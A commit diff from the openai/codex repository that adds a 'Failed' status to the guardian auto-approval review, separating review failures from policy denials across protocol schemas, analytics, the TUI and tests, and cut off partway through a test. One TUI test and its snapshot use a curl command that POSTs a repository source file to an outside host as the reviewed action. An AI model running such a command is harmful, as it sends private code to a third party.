openai/codex
1
0
Fork 0
mirror of https://github.com/openai/codex.git synced 2026-10-31 19:28:49 +00:00
Code Issues Packages Projects Releases Wiki Activity

Add truthful auto-review failure status

Browse Source
This commit is contained in:
Katia Bazzi
2026-06-08 14:45:56 -07:00
parent f9a680b907
commit 981ac2523f
35 changed files with 611 additions and 44 deletions
Download Patch File Download Diff File Expand all files Collapse all files
codex-rs/analytics/src/events.rs
+3
View File
@@ -178,6 +178,7 @@ pub(crate) struct GuardianReviewEventRequest {
pub enum GuardianReviewDecision {
Approved,
Denied,
Failed,
Aborted,
}
@@ -440,6 +441,7 @@ pub(crate) enum FinalApprovalOutcome {
PolicyForbidden,
GuardianApproved,
GuardianDenied,
GuardianFailed,
GuardianAborted,
UserApproved,
UserApprovedForSession,
@@ -532,6 +534,7 @@ pub(crate) enum ReviewTrigger {
pub(crate) enum ReviewStatus {
Approved,
Denied,
Failed,
Aborted,
TimedOut,
}
codex-rs/analytics/src/reducer.rs
+16
View File
@@ -2069,6 +2069,9 @@ fn guardian_review_result(
GuardianApprovalReviewStatus::TimedOut => {
Some((ReviewStatus::TimedOut, ReviewResolution::None))
}
GuardianApprovalReviewStatus::Failed => {
Some((ReviewStatus::Failed, ReviewResolution::None))
}
GuardianApprovalReviewStatus::Aborted => {
Some((ReviewStatus::Aborted, ReviewResolution::None))
}
@@ -2171,6 +2174,7 @@ fn final_approval_outcome(
match (reviewer, status, resolution) {
(Reviewer::Guardian, ReviewStatus::Approved, _) => FinalApprovalOutcome::GuardianApproved,
(Reviewer::Guardian, ReviewStatus::Denied, _) => FinalApprovalOutcome::GuardianDenied,
(Reviewer::Guardian, ReviewStatus::Failed, _) => FinalApprovalOutcome::GuardianFailed,
(Reviewer::Guardian, _, _) => FinalApprovalOutcome::GuardianAborted,
(Reviewer::User, ReviewStatus::Approved, ReviewResolution::SessionApproval) => {
FinalApprovalOutcome::UserApprovedForSession
@@ -2649,5 +2653,17 @@ mod tests {
guardian_review_result(GuardianApprovalReviewStatus::TimedOut),
Some((ReviewStatus::TimedOut, ReviewResolution::None))
));
assert!(matches!(
guardian_review_result(GuardianApprovalReviewStatus::Failed),
Some((ReviewStatus::Failed, ReviewResolution::None))
));
assert!(matches!(
final_approval_outcome(
Reviewer::Guardian,
ReviewStatus::Failed,
ReviewResolution::None
),
FinalApprovalOutcome::GuardianFailed
));
}
}
codex-rs/app-server-protocol/schema/json/ApplyPatchApprovalResponse.json
Generated
+7
View File
@@ -101,6 +101,13 @@
],
"type": "string"
},
{
"description": "Automatic approval review failed before reaching a decision.",
"enum": [
"failed"
],
"type": "string"
},
{
"description": "User has denied this command and the agent should not do anything until the user's next command.",
"enum": [
codex-rs/app-server-protocol/schema/json/ExecCommandApprovalResponse.json
Generated
+7
View File
@@ -101,6 +101,13 @@
],
"type": "string"
},
{
"description": "Automatic approval review failed before reaching a decision.",
"enum": [
"failed"
],
"type": "string"
},
{
"description": "User has denied this command and the agent should not do anything until the user's next command.",
"enum": [
codex-rs/app-server-protocol/schema/json/ServerNotification.json
Generated
+1
View File
@@ -1765,6 +1765,7 @@
"approved",
"denied",
"timedOut",
"failed",
"aborted"
],
"type": "string"
codex-rs/app-server-protocol/schema/json/codex_app_server_protocol.schemas.json
Generated
+8
View File
@@ -3967,6 +3967,13 @@
],
"type": "string"
},
{
"description": "Automatic approval review failed before reaching a decision.",
"enum": [
"failed"
],
"type": "string"
},
{
"description": "User has denied this command and the agent should not do anything until the user's next command.",
"enum": [
@@ -10004,6 +10011,7 @@
"approved",
"denied",
"timedOut",
"failed",
"aborted"
],
"type": "string"
codex-rs/app-server-protocol/schema/json/codex_app_server_protocol.v2.schemas.json
Generated
+1
View File
@@ -6457,6 +6457,7 @@
"approved",
"denied",
"timedOut",
"failed",
"aborted"
],
"type": "string"
codex-rs/app-server-protocol/schema/json/v2/ItemGuardianApprovalReviewCompletedNotification.json
Generated
+1
View File
@@ -502,6 +502,7 @@
"approved",
"denied",
"timedOut",
"failed",
"aborted"
],
"type": "string"
codex-rs/app-server-protocol/schema/json/v2/ItemGuardianApprovalReviewStartedNotification.json
Generated
+1
View File
@@ -495,6 +495,7 @@
"approved",
"denied",
"timedOut",
"failed",
"aborted"
],
"type": "string"
codex-rs/app-server-protocol/schema/typescript/ReviewDecision.ts
Generated
+1 -1
View File
@@ -7,4 +7,4 @@ import type { NetworkPolicyAmendment } from "./NetworkPolicyAmendment";
/**
* User's decision in response to an ExecApprovalRequest.
*/
export type ReviewDecision = "approved" | { "approved_execpolicy_amendment": { proposed_execpolicy_amendment: ExecPolicyAmendment, } } | "approved_for_session" | { "network_policy_amendment": { network_policy_amendment: NetworkPolicyAmendment, } } | "denied" | "timed_out" | "abort";
export type ReviewDecision = "approved" | { "approved_execpolicy_amendment": { proposed_execpolicy_amendment: ExecPolicyAmendment, } } | "approved_for_session" | { "network_policy_amendment": { network_policy_amendment: NetworkPolicyAmendment, } } | "denied" | "timed_out" | "failed" | "abort";
codex-rs/app-server-protocol/schema/typescript/v2/GuardianApprovalReviewStatus.ts
Generated
+1 -1
View File
@@ -5,4 +5,4 @@
/**
* [UNSTABLE] Lifecycle state for an approval auto-review.
*/
export type GuardianApprovalReviewStatus = "inProgress" | "approved" | "denied" | "timedOut" | "aborted";
export type GuardianApprovalReviewStatus = "inProgress" | "approved" | "denied" | "timedOut" | "failed" | "aborted";
codex-rs/app-server-protocol/src/protocol/item_builders.rs
+4
View File
@@ -227,6 +227,9 @@ pub fn guardian_auto_approval_review_notification(
codex_protocol::protocol::GuardianAssessmentStatus::TimedOut => {
GuardianApprovalReviewStatus::TimedOut
}
codex_protocol::protocol::GuardianAssessmentStatus::Failed => {
GuardianApprovalReviewStatus::Failed
}
codex_protocol::protocol::GuardianAssessmentStatus::Aborted => {
GuardianApprovalReviewStatus::Aborted
}
@@ -253,6 +256,7 @@ pub fn guardian_auto_approval_review_notification(
codex_protocol::protocol::GuardianAssessmentStatus::Approved
| codex_protocol::protocol::GuardianAssessmentStatus::Denied
| codex_protocol::protocol::GuardianAssessmentStatus::TimedOut
| codex_protocol::protocol::GuardianAssessmentStatus::Failed
| codex_protocol::protocol::GuardianAssessmentStatus::Aborted => {
ServerNotification::ItemGuardianApprovalReviewCompleted(
ItemGuardianApprovalReviewCompletedNotification {
codex-rs/app-server-protocol/src/protocol/thread_history.rs
+72 -1
View File
@@ -432,7 +432,9 @@ impl ThreadHistoryBuilder {
GuardianAssessmentStatus::Denied | GuardianAssessmentStatus::Aborted => {
CommandExecutionStatus::Declined
}
GuardianAssessmentStatus::TimedOut => CommandExecutionStatus::Failed,
GuardianAssessmentStatus::TimedOut | GuardianAssessmentStatus::Failed => {
CommandExecutionStatus::Failed
}
GuardianAssessmentStatus::Approved => return,
};
let Some(item) = build_item_from_guardian_event(payload, status) else {
@@ -2382,6 +2384,75 @@ mod tests {
);
}
#[test]
fn reconstructs_failed_guardian_command_item() {
let events = vec![
EventMsg::TurnStarted(TurnStartedEvent {
turn_id: "turn-1".into(),
trace_id: None,
started_at: None,
model_context_window: None,
collaboration_mode_kind: Default::default(),
}),
EventMsg::UserMessage(UserMessageEvent {
client_id: None,
message: "review this command".into(),
images: None,
text_elements: Vec::new(),
local_images: Vec::new(),
..Default::default()
}),
EventMsg::GuardianAssessment(GuardianAssessmentEvent {
id: "review-guardian-exec".into(),
target_item_id: Some("guardian-exec".into()),
turn_id: "turn-1".into(),
started_at_ms: 1_000,
completed_at_ms: Some(1_042),
status: GuardianAssessmentStatus::Failed,
risk_level: None,
user_authorization: None,
rationale: Some(
"Automatic approval review failed before reaching a decision.".into(),
),
decision_source: Some(
codex_protocol::protocol::GuardianAssessmentDecisionSource::Agent,
),
action: serde_json::from_value(serde_json::json!({
"type": "command",
"source": "shell",
"command": "git push",
"cwd": test_path_buf("/tmp"),
}))
.expect("guardian action"),
}),
];
let items = events
.into_iter()
.map(RolloutItem::EventMsg)
.collect::<Vec<_>>();
let turns = build_turns_from_rollout_items(&items);
assert_eq!(turns.len(), 1);
assert_eq!(turns[0].items.len(), 2);
assert_eq!(
turns[0].items[1],
ThreadItem::CommandExecution {
id: "guardian-exec".into(),
command: "git push".into(),
cwd: test_path_buf("/tmp").abs(),
process_id: None,
source: CommandExecutionSource::Agent,
status: CommandExecutionStatus::Failed,
command_actions: vec![CommandAction::Unknown {
command: "git push".into(),
}],
aggregated_output: None,
exit_code: None,
duration_ms: None,
}
);
}
#[test]
fn reconstructs_in_progress_guardian_execve_item() {
let events = vec![
codex-rs/app-server-protocol/src/protocol/v2/item.rs
+2
View File
@@ -81,6 +81,7 @@ impl From<CoreReviewDecision> for CommandExecutionApprovalDecision {
CoreReviewDecision::Abort => Self::Cancel,
CoreReviewDecision::Denied => Self::Decline,
CoreReviewDecision::TimedOut => Self::Decline,
CoreReviewDecision::Failed => Self::Decline,
}
}
}
@@ -406,6 +407,7 @@ pub enum GuardianApprovalReviewStatus {
Approved,
Denied,
TimedOut,
Failed,
Aborted,
}
codex-rs/app-server-protocol/src/protocol/v2/tests.rs
+22
View File
@@ -2230,6 +2230,28 @@ fn automatic_approval_review_deserializes_aborted_status() {
);
}
#[test]
fn automatic_approval_review_deserializes_failed_status() {
let review: GuardianApprovalReview = serde_json::from_value(json!({
"status": "failed",
"riskLevel": null,
"userAuthorization": null,
"rationale": "Automatic approval review failed before reaching a decision."
}))
.expect("failed automatic review should deserialize");
assert_eq!(
review,
GuardianApprovalReview {
status: GuardianApprovalReviewStatus::Failed,
risk_level: None,
user_authorization: None,
rationale: Some(
"Automatic approval review failed before reaching a decision.".to_string()
),
}
);
}
#[test]
fn guardian_approval_review_action_round_trips_command_shape() {
let value = json!({
codex-rs/app-server/README.md
+1 -1
View File
@@ -1273,7 +1273,7 @@ All items emit shared lifecycle events:
- `item/started` — emits the full `item` when a new unit of work begins so the UI can render it immediately; the `item.id` in this payload matches the `itemId` used by deltas.
- `item/completed` — sends the final `item` once that work itself finishes (for example, after a tool call or message completes); treat this as the authoritative execution/result state.
- `item/autoApprovalReview/started` — [UNSTABLE] temporary auto-review notification carrying `{threadId, turnId, targetItemId, review, action}` when approval auto-review begins. This shape is expected to change soon.
- `item/autoApprovalReview/completed` — [UNSTABLE] temporary auto-review notification carrying `{threadId, turnId, targetItemId, review, action}` when approval auto-review resolves. This shape is expected to change soon.
- `item/autoApprovalReview/completed` — [UNSTABLE] temporary auto-review notification carrying `{threadId, turnId, targetItemId, review, action}` when approval auto-review resolves. The review status distinguishes policy decisions (`approved`, `denied`) from reviews that timed out, failed before producing a decision, or were aborted. This shape is expected to change soon.
`review` is [UNSTABLE] and currently has `{status, riskLevel?, userAuthorization?, rationale?}`, where `status` is one of `inProgress`, `approved`, `denied`, or `aborted`. `riskLevel` is one of `"low"`, `"medium"`, `"high"`, or `"critical"` when present. `userAuthorization` is one of `"unknown"`, `"low"`, `"medium"`, or `"high"` when present. `action` is a tagged union with `type: "command" | "execve" | "applyPatch" | "networkAccess" | "mcpToolCall"`. Command-like actions include a `source` discriminator (`"shell"` or `"unifiedExec"`). These notifications are separate from the target item's own `item/completed` lifecycle and are intentionally temporary while the auto-review app protocol is still being designed.
codex-rs/app-server/src/bespoke_event_handling.rs
+56 -1
View File
@@ -292,7 +292,8 @@ pub(crate) async fn apply_bespoke_event_handling(
| codex_protocol::protocol::GuardianAssessmentStatus::Aborted => {
Some(CommandExecutionStatus::Declined)
}
codex_protocol::protocol::GuardianAssessmentStatus::TimedOut => {
codex_protocol::protocol::GuardianAssessmentStatus::TimedOut
| codex_protocol::protocol::GuardianAssessmentStatus::Failed => {
Some(CommandExecutionStatus::Failed)
}
codex_protocol::protocol::GuardianAssessmentStatus::InProgress
@@ -2279,6 +2280,11 @@ mod tests {
GuardianAssessmentStatus::TimedOut => {
(None, None, Some("review timed out".to_string()))
}
GuardianAssessmentStatus::Failed => (
None,
None,
Some("review failed before reaching a decision".to_string()),
),
GuardianAssessmentStatus::Aborted => (None, None, None),
};
GuardianAssessmentEvent {
@@ -2436,6 +2442,55 @@ mod tests {
}
}
#[test]
fn guardian_assessment_failed_emits_completed_review_payload() {
let conversation_id = ThreadId::new();
let action = codex_protocol::protocol::GuardianAssessmentAction::Command {
source: codex_protocol::protocol::GuardianCommandSource::Shell,
command: "git push".to_string(),
cwd: test_path_buf("/tmp").abs(),
};
let notification = guardian_auto_approval_review_notification(
&conversation_id,
"turn-from-event",
&GuardianAssessmentEvent {
id: "review-failed".to_string(),
target_item_id: Some("item-failed".to_string()),
turn_id: "turn-from-assessment".to_string(),
started_at_ms: 1_000,
completed_at_ms: Some(1_042),
status: codex_protocol::protocol::GuardianAssessmentStatus::Failed,
risk_level: None,
user_authorization: None,
rationale: Some(
"Automatic approval review failed before reaching a decision.".to_string(),
),
decision_source: Some(
codex_protocol::protocol::GuardianAssessmentDecisionSource::Agent,
),
action: action.clone(),
},
);
match notification {
ServerNotification::ItemGuardianApprovalReviewCompleted(payload) => {
assert_eq!(payload.thread_id, conversation_id.to_string());
assert_eq!(payload.turn_id, "turn-from-assessment");
assert_eq!(payload.review_id, "review-failed");
assert_eq!(payload.target_item_id.as_deref(), Some("item-failed"));
assert_eq!(payload.review.status, GuardianApprovalReviewStatus::Failed);
assert_eq!(payload.review.risk_level, None);
assert_eq!(payload.review.user_authorization, None);
assert_eq!(
payload.review.rationale.as_deref(),
Some("Automatic approval review failed before reaching a decision.")
);
assert_eq!(payload.action, action.into());
}
other => panic!("unexpected notification: {other:?}"),
}
}
#[test]
fn guardian_assessment_aborted_emits_completed_review_payload() {
let conversation_id = ThreadId::new();
codex-rs/core/src/codex_delegate.rs
+4 -3
View File
@@ -732,9 +732,10 @@ async fn maybe_auto_review_mcp_request_user_input(
ReviewDecision::Approved
| ReviewDecision::ApprovedExecpolicyAmendment { .. }
| ReviewDecision::NetworkPolicyAmendment { .. } => MCP_TOOL_APPROVAL_ACCEPT.to_string(),
ReviewDecision::Denied | ReviewDecision::TimedOut | ReviewDecision::Abort => {
MCP_TOOL_APPROVAL_DECLINE_SYNTHETIC.to_string()
}
ReviewDecision::Denied
| ReviewDecision::TimedOut
| ReviewDecision::Failed
| ReviewDecision::Abort => MCP_TOOL_APPROVAL_DECLINE_SYNTHETIC.to_string(),
};
Some(RequestUserInputResponse {
answers: HashMap::from([(
codex-rs/core/src/guardian/metrics.rs
+1
View File
@@ -138,6 +138,7 @@ fn decision_tag(decision: GuardianReviewDecision) -> &'static str {
match decision {
GuardianReviewDecision::Approved => "approved",
GuardianReviewDecision::Denied => "denied",
GuardianReviewDecision::Failed => "failed",
GuardianReviewDecision::Aborted => "aborted",
}
}
codex-rs/core/src/guardian/mod.rs
+1
View File
@@ -29,6 +29,7 @@ pub(crate) use approval_request::GuardianMcpAnnotations;
pub(crate) use approval_request::GuardianNetworkAccessTrigger;
#[cfg(test)]
pub(crate) use approval_request::guardian_approval_request_to_json;
pub(crate) use review::guardian_failure_message;
pub(crate) use review::guardian_rejection_message;
pub(crate) use review::guardian_timeout_message;
pub(crate) use review::is_guardian_reviewer_source;
codex-rs/core/src/guardian/review.rs
+43 -11
View File
@@ -58,6 +58,13 @@ const GUARDIAN_TIMEOUT_INSTRUCTIONS: &str = concat!(
"You may retry once, or ask the user for guidance or explicit approval.",
);
const GUARDIAN_FAILURE_INSTRUCTIONS: &str = concat!(
"The automatic permission approval review failed before reaching a policy decision. ",
"The action was not approved and was not executed. ",
"Do not interpret this failure as evidence that the action is unsafe or was denied by policy. ",
"Ask the user for guidance or explicit approval.",
);
pub(crate) fn new_guardian_review_id() -> String {
uuid::Uuid::new_v4().to_string()
}
@@ -87,6 +94,10 @@ pub(crate) fn guardian_timeout_message() -> String {
GUARDIAN_TIMEOUT_INSTRUCTIONS.to_string()
}
pub(crate) fn guardian_failure_message() -> String {
GUARDIAN_FAILURE_INSTRUCTIONS.to_string()
}
#[derive(Debug)]
pub(super) enum GuardianReviewOutcome {
Completed(GuardianAssessment),
@@ -470,29 +481,50 @@ async fn run_guardian_review(
"guardian review failed"
}
};
let rationale = format!("Automatic approval review failed: {message}");
let rationale = format!(
"Automatic approval review failed before reaching a decision: {message}"
);
track_guardian_review(
session.as_ref(),
&review_tracking,
approval_request_source,
&reviewed_action,
GuardianReviewAnalyticsResult {
decision: GuardianReviewDecision::Denied,
decision: GuardianReviewDecision::Failed,
terminal_status: GuardianReviewTerminalStatus::FailedClosed,
failure_reason: Some(error.failure_reason()),
..analytics_result
},
completed_at_ms.try_into().unwrap_or_default(),
);
(
GuardianAssessment {
risk_level: GuardianRiskLevel::High,
user_authorization: GuardianUserAuthorization::Unknown,
outcome: GuardianAssessmentOutcome::Deny,
rationale,
},
false,
)
session
.send_event(
turn.as_ref(),
EventMsg::GuardianWarning(WarningEvent {
message: rationale.clone(),
}),
)
.await;
session
.send_event(
turn.as_ref(),
EventMsg::GuardianAssessment(GuardianAssessmentEvent {
id: review_id,
target_item_id,
turn_id: assessment_turn_id.clone(),
started_at_ms,
completed_at_ms: Some(completed_at_ms),
status: GuardianAssessmentStatus::Failed,
risk_level: None,
user_authorization: None,
rationale: Some(rationale),
decision_source: Some(GuardianAssessmentDecisionSource::Agent),
action: terminal_action,
}),
)
.await;
record_guardian_non_denial(&session, &assessment_turn_id).await;
return ReviewDecision::Failed;
}
},
};
codex-rs/core/src/guardian/tests.rs
+121 -17
View File
@@ -1972,7 +1972,7 @@ async fn guardian_reused_trunk_ignores_stale_prior_turn_completion() -> anyhow::
}
#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
async fn guardian_review_surfaces_responses_api_errors_in_rejection_reason() -> anyhow::Result<()> {
async fn guardian_review_surfaces_responses_api_errors_as_failed() -> anyhow::Result<()> {
skip_if_no_network!(Ok(()));
let server = start_mock_server().await;
@@ -2029,17 +2029,17 @@ async fn guardian_review_surfaces_responses_api_errors_in_rejection_reason() ->
)
.await;
assert_eq!(decision, ReviewDecision::Denied);
assert_eq!(decision, ReviewDecision::Failed);
let mut warnings = Vec::new();
let mut denial_rationales = Vec::new();
let mut failed_assessments = Vec::new();
while let Ok(event) = rx.try_recv() {
match event.msg {
EventMsg::GuardianWarning(event) => warnings.push(event.message),
EventMsg::GuardianAssessment(event)
if event.status == GuardianAssessmentStatus::Denied =>
if event.status == GuardianAssessmentStatus::Failed =>
{
denial_rationales.push(event.rationale)
failed_assessments.push(event)
}
_ => {}
}
@@ -2052,29 +2052,133 @@ async fn guardian_review_surfaces_responses_api_errors_in_rejection_reason() ->
"warning should include the underlying responses api error"
);
assert!(
denial_rationales
failed_assessments
.iter()
.flatten()
.filter_map(|event| event.rationale.as_deref())
.any(|message| message.contains(error_message)),
"denial rationale should include the underlying responses api error"
"failure rationale should include the underlying responses api error"
);
assert!(
denial_rationales.iter().flatten().all(|message| {
!message.contains("guardian review completed without an assessment payload")
failed_assessments.iter().all(|event| {
event.risk_level.is_none()
&& event.user_authorization.is_none()
&& event.rationale.as_deref().is_some_and(|message| {
!message.contains("guardian review completed without an assessment payload")
})
}),
"denial rationale should not fall back to the generic missing payload error"
"failure should not fabricate risk metadata or use the generic missing payload error"
);
{
let rationales = session.services.guardian_rejections.lock().await;
assert!(rationales.contains_key("review-shell-guardian-error"));
assert!(!rationales.contains_key("review-shell-guardian-error"));
assert!(!rationales.contains_key("shell-guardian-error"));
}
let rejection_message =
guardian_rejection_message(session.as_ref(), "review-shell-guardian-error").await;
assert!(
rejection_message.contains("Reason: Automatic approval review failed:")
&& rejection_message.contains(error_message),
"rejection message should include guardian rationale: {rejection_message}"
guardian_failure_message().contains("failed before reaching a policy decision")
&& !guardian_failure_message().contains("unacceptable risk"),
"failure message should clearly distinguish review failure from policy denial"
);
Ok(())
}
#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
async fn guardian_review_surfaces_invalid_assessment_as_failed() -> anyhow::Result<()> {
skip_if_no_network!(Ok(()));
let server = start_mock_server().await;
let request_log = mount_sse_once(
&server,
sse(vec![
ev_response_created("resp-guardian"),
ev_assistant_message("msg-guardian", "not a guardian assessment"),
ev_completed("resp-guardian"),
]),
)
.await;
let (session, turn) = guardian_test_session_and_turn(&server).await;
seed_guardian_parent_history(&session, &turn).await;
let decision = review_approval_request(
&session,
&turn,
"review-shell-guardian-parse-error".to_string(),
GuardianApprovalRequest::Shell {
id: "shell-guardian-parse-error".to_string(),
command: vec!["git".to_string(), "push".to_string()],
cwd: test_path_buf("/repo/codex-rs/core").abs(),
sandbox_permissions: crate::sandboxing::SandboxPermissions::UseDefault,
additional_permissions: None,
justification: Some("Need to push the reviewed docs fix.".to_string()),
},
/*retry_reason*/ None,
)
.await;
assert_eq!(decision, ReviewDecision::Failed);
assert_eq!(request_log.requests().len(), 1);
assert!(
!session
.services
.guardian_rejections
.lock()
.await
.contains_key("review-shell-guardian-parse-error")
);
Ok(())
}
#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
async fn guardian_review_preserves_genuine_denial() -> anyhow::Result<()> {
skip_if_no_network!(Ok(()));
let server = start_mock_server().await;
let request_log = mount_sse_once(
&server,
sse(vec![
ev_response_created("resp-guardian"),
ev_assistant_message(
"msg-guardian",
r#"{"outcome":"deny","risk_level":"high","user_authorization":"low","rationale":"The requested push is not justified."}"#,
),
ev_completed("resp-guardian"),
]),
)
.await;
let (session, turn) = guardian_test_session_and_turn(&server).await;
seed_guardian_parent_history(&session, &turn).await;
let decision = review_approval_request(
&session,
&turn,
"review-shell-guardian-denied".to_string(),
GuardianApprovalRequest::Shell {
id: "shell-guardian-denied".to_string(),
command: vec!["git".to_string(), "push".to_string()],
cwd: test_path_buf("/repo/codex-rs/core").abs(),
sandbox_permissions: crate::sandboxing::SandboxPermissions::UseDefault,
additional_permissions: None,
justification: Some("Need to push the reviewed docs fix.".to_string()),
},
/*retry_reason*/ None,
)
.await;
assert_eq!(decision, ReviewDecision::Denied);
assert_eq!(request_log.requests().len(), 1);
assert_eq!(
session
.services
.guardian_rejections
.lock()
.await
.get("review-shell-guardian-denied")
.cloned(),
Some(GuardianRejection {
rationale: "The requested push is not justified.".to_string(),
source: GuardianAssessmentDecisionSource::Agent,
})
);
Ok(())
codex-rs/core/src/mcp_tool_call.rs
+3
View File
@@ -1410,6 +1410,9 @@ async fn mcp_tool_approval_decision_from_guardian(
ReviewDecision::TimedOut => McpToolApprovalDecision::Decline {
message: Some(guardian_timeout_message()),
},
ReviewDecision::Failed => McpToolApprovalDecision::Decline {
message: Some(crate::guardian::guardian_failure_message()),
},
ReviewDecision::Abort => McpToolApprovalDecision::Decline { message: None },
}
}
codex-rs/core/src/session/mcp.rs
+3
View File
@@ -668,6 +668,9 @@ fn mcp_elicitation_response_from_guardian_decision_parts(
ReviewDecision::TimedOut => {
mcp_elicitation_decline_with_message(crate::guardian::guardian_timeout_message())
}
ReviewDecision::Failed => {
mcp_elicitation_decline_with_message(crate::guardian::guardian_failure_message())
}
ReviewDecision::Abort => ElicitationResponse {
action: ElicitationAction::Cancel,
content: None,
codex-rs/core/src/session/mod.rs
+8 -7
View File
@@ -2213,13 +2213,14 @@ impl Session {
strict_auto_review: false,
},
},
ReviewDecision::Abort | ReviewDecision::Denied | ReviewDecision::TimedOut => {
RequestPermissionsResponse {
permissions: RequestPermissionProfile::default(),
scope: PermissionGrantScope::Turn,
strict_auto_review: false,
}
}
ReviewDecision::Abort
| ReviewDecision::Denied
| ReviewDecision::TimedOut
| ReviewDecision::Failed => RequestPermissionsResponse {
permissions: RequestPermissionProfile::default(),
scope: PermissionGrantScope::Turn,
strict_auto_review: false,
},
};
let response = Self::normalize_request_permissions_response(
requested_permissions,
codex-rs/core/src/tools/network_approval.rs
+16 -1
View File
@@ -1,5 +1,6 @@
use crate::guardian::GuardianApprovalRequest;
use crate::guardian::GuardianNetworkAccessTrigger;
use crate::guardian::guardian_failure_message;
use crate::guardian::guardian_rejection_message;
use crate::guardian::guardian_timeout_message;
use crate::guardian::new_guardian_review_id;
@@ -155,6 +156,7 @@ enum PendingApprovalDecision {
enum NetworkApprovalOutcome {
DeniedByUser,
DeniedByPolicy(String),
ReviewFailed(String),
}
fn network_approval_outcome_to_result(
@@ -164,7 +166,10 @@ fn network_approval_outcome_to_result(
Some(NetworkApprovalOutcome::DeniedByUser) => {
Err(ToolError::Rejected("rejected by user".to_string()))
}
Some(NetworkApprovalOutcome::DeniedByPolicy(message)) => Err(ToolError::Rejected(message)),
Some(
NetworkApprovalOutcome::DeniedByPolicy(message)
| NetworkApprovalOutcome::ReviewFailed(message),
) => Err(ToolError::Rejected(message)),
None => Ok(()),
}
}
@@ -643,6 +648,16 @@ impl NetworkApprovalService {
}
PendingApprovalDecision::Deny
}
ReviewDecision::Failed => {
if let Some(owner_call) = owner_call.as_ref() {
self.record_call_outcome(
&owner_call.registration_id,
NetworkApprovalOutcome::ReviewFailed(guardian_failure_message()),
)
.await;
}
PendingApprovalDecision::Deny
}
};
if matches!(resolved, PendingApprovalDecision::AllowForSession) {
codex-rs/core/src/tools/orchestrator.rs
+2
View File
@@ -6,6 +6,7 @@ simple sequence for any ToolRuntime: approval → select sandbox → attempt →
retry with an escalated sandbox strategy on denial (no re‑approval thanks to
caching).
*/
use crate::guardian::guardian_failure_message;
use crate::guardian::guardian_rejection_message;
use crate::guardian::guardian_timeout_message;
use crate::guardian::new_guardian_review_id;
@@ -561,6 +562,7 @@ impl ToolOrchestrator {
Err(ToolError::Rejected(reason))
}
ReviewDecision::TimedOut => Err(ToolError::Rejected(guardian_timeout_message())),
ReviewDecision::Failed => Err(ToolError::Rejected(guardian_failure_message())),
ReviewDecision::Approved
| ReviewDecision::ApprovedExecpolicyAmendment { .. }
| ReviewDecision::ApprovedForSession => Ok(()),
codex-rs/core/src/tools/runtimes/shell/unix_escalation.rs
+4
View File
@@ -4,6 +4,7 @@ use crate::exec::ExecExpiration;
use crate::exec::cancel_when_either;
use crate::exec::is_likely_sandbox_denied;
use crate::guardian::GuardianApprovalRequest;
use crate::guardian::guardian_failure_message;
use crate::guardian::guardian_rejection_message;
use crate::guardian::guardian_timeout_message;
use crate::guardian::new_guardian_review_id;
@@ -570,6 +571,9 @@ impl CoreShellActionProvider {
ReviewDecision::TimedOut => {
EscalationDecision::deny(Some(guardian_timeout_message()))
}
ReviewDecision::Failed => {
EscalationDecision::deny(Some(guardian_failure_message()))
}
ReviewDecision::Abort => {
EscalationDecision::deny(Some("User cancelled execution".to_string()))
}
codex-rs/protocol/src/approvals.rs
+1
View File
@@ -115,6 +115,7 @@ pub enum GuardianAssessmentStatus {
Approved,
Denied,
TimedOut,
Failed,
Aborted,
}
codex-rs/protocol/src/protocol.rs
+4
View File
@@ -3686,6 +3686,9 @@ pub enum ReviewDecision {
/// Automatic approval review timed out before reaching a decision.
TimedOut,
/// Automatic approval review failed before reaching a decision.
Failed,
/// User has denied this command and the agent should not do anything until
/// the user's next command.
Abort,
@@ -3707,6 +3710,7 @@ impl ReviewDecision {
},
ReviewDecision::Denied => "denied",
ReviewDecision::TimedOut => "timed_out",
ReviewDecision::Failed => "failed",
ReviewDecision::Abort => "abort",
}
}
codex-rs/tui/src/chatwidget/protocol_requests.rs
+3
View File
@@ -88,6 +88,9 @@ impl ChatWidget {
codex_app_server_protocol::GuardianApprovalReviewStatus::TimedOut => {
GuardianAssessmentStatus::TimedOut
}
codex_app_server_protocol::GuardianApprovalReviewStatus::Failed => {
GuardianAssessmentStatus::Failed
}
codex_app_server_protocol::GuardianApprovalReviewStatus::Aborted => {
GuardianAssessmentStatus::Aborted
}
codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_failed_exec_renders_warning_and_failed_request.snap
+25
View File
@@ -0,0 +1,25 @@
---
source: tui/src/chatwidget/tests/guardian.rs
assertion_line: 379
expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
---
⚠ Automatic approval review failed before reaching a decision: unavailable
✗ Review failed before codex could run curl -sS -i -X POST --data-binary
@core/src/codex.rs https://example.com
• Working (0s • esc to interrupt)
› Ask Codex to do anything
gpt-5.5 default · /tmp/project
codex-rs/tui/src/chatwidget/tests/guardian.rs
+66
View File
@@ -316,6 +316,72 @@ async fn guardian_timed_out_exec_renders_warning_and_timed_out_request() {
);
}
#[tokio::test]
async fn guardian_failed_exec_renders_warning_and_failed_request() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
chat.show_welcome_banner = false;
let action = GuardianAssessmentAction::Command {
source: GuardianCommandSource::Shell,
command: "curl -sS -i -X POST --data-binary @core/src/codex.rs https://example.com"
.to_string(),
cwd: test_path_buf("/tmp").abs(),
};
chat.on_guardian_assessment(GuardianAssessmentEvent {
id: "guardian-1".into(),
target_item_id: Some("guardian-target-1".into()),
turn_id: "turn-1".into(),
started_at_ms: 0,
completed_at_ms: None,
status: GuardianAssessmentStatus::InProgress,
risk_level: None,
user_authorization: None,
rationale: None,
decision_source: None,
action: action.clone(),
});
chat.on_warning("Automatic approval review failed before reaching a decision: unavailable");
chat.on_guardian_assessment(GuardianAssessmentEvent {
id: "guardian-1".into(),
target_item_id: Some("guardian-target-1".into()),
turn_id: "turn-1".into(),
started_at_ms: 0,
completed_at_ms: Some(1),
status: GuardianAssessmentStatus::Failed,
risk_level: None,
user_authorization: None,
rationale: Some(
"Automatic approval review failed before reaching a decision: unavailable".into(),
),
decision_source: Some(GuardianAssessmentDecisionSource::Agent),
action,
});
let width: u16 = 140;
let ui_height: u16 = chat.desired_height(width);
let vt_height: u16 = 20;
let viewport = Rect::new(0, vt_height - ui_height - 1, width, ui_height);
let backend = VT100Backend::new(width, vt_height);
let mut term = crate::custom_terminal::Terminal::with_options(backend).expect("terminal");
term.set_viewport_area(viewport);
for lines in drain_insert_history(&mut rx) {
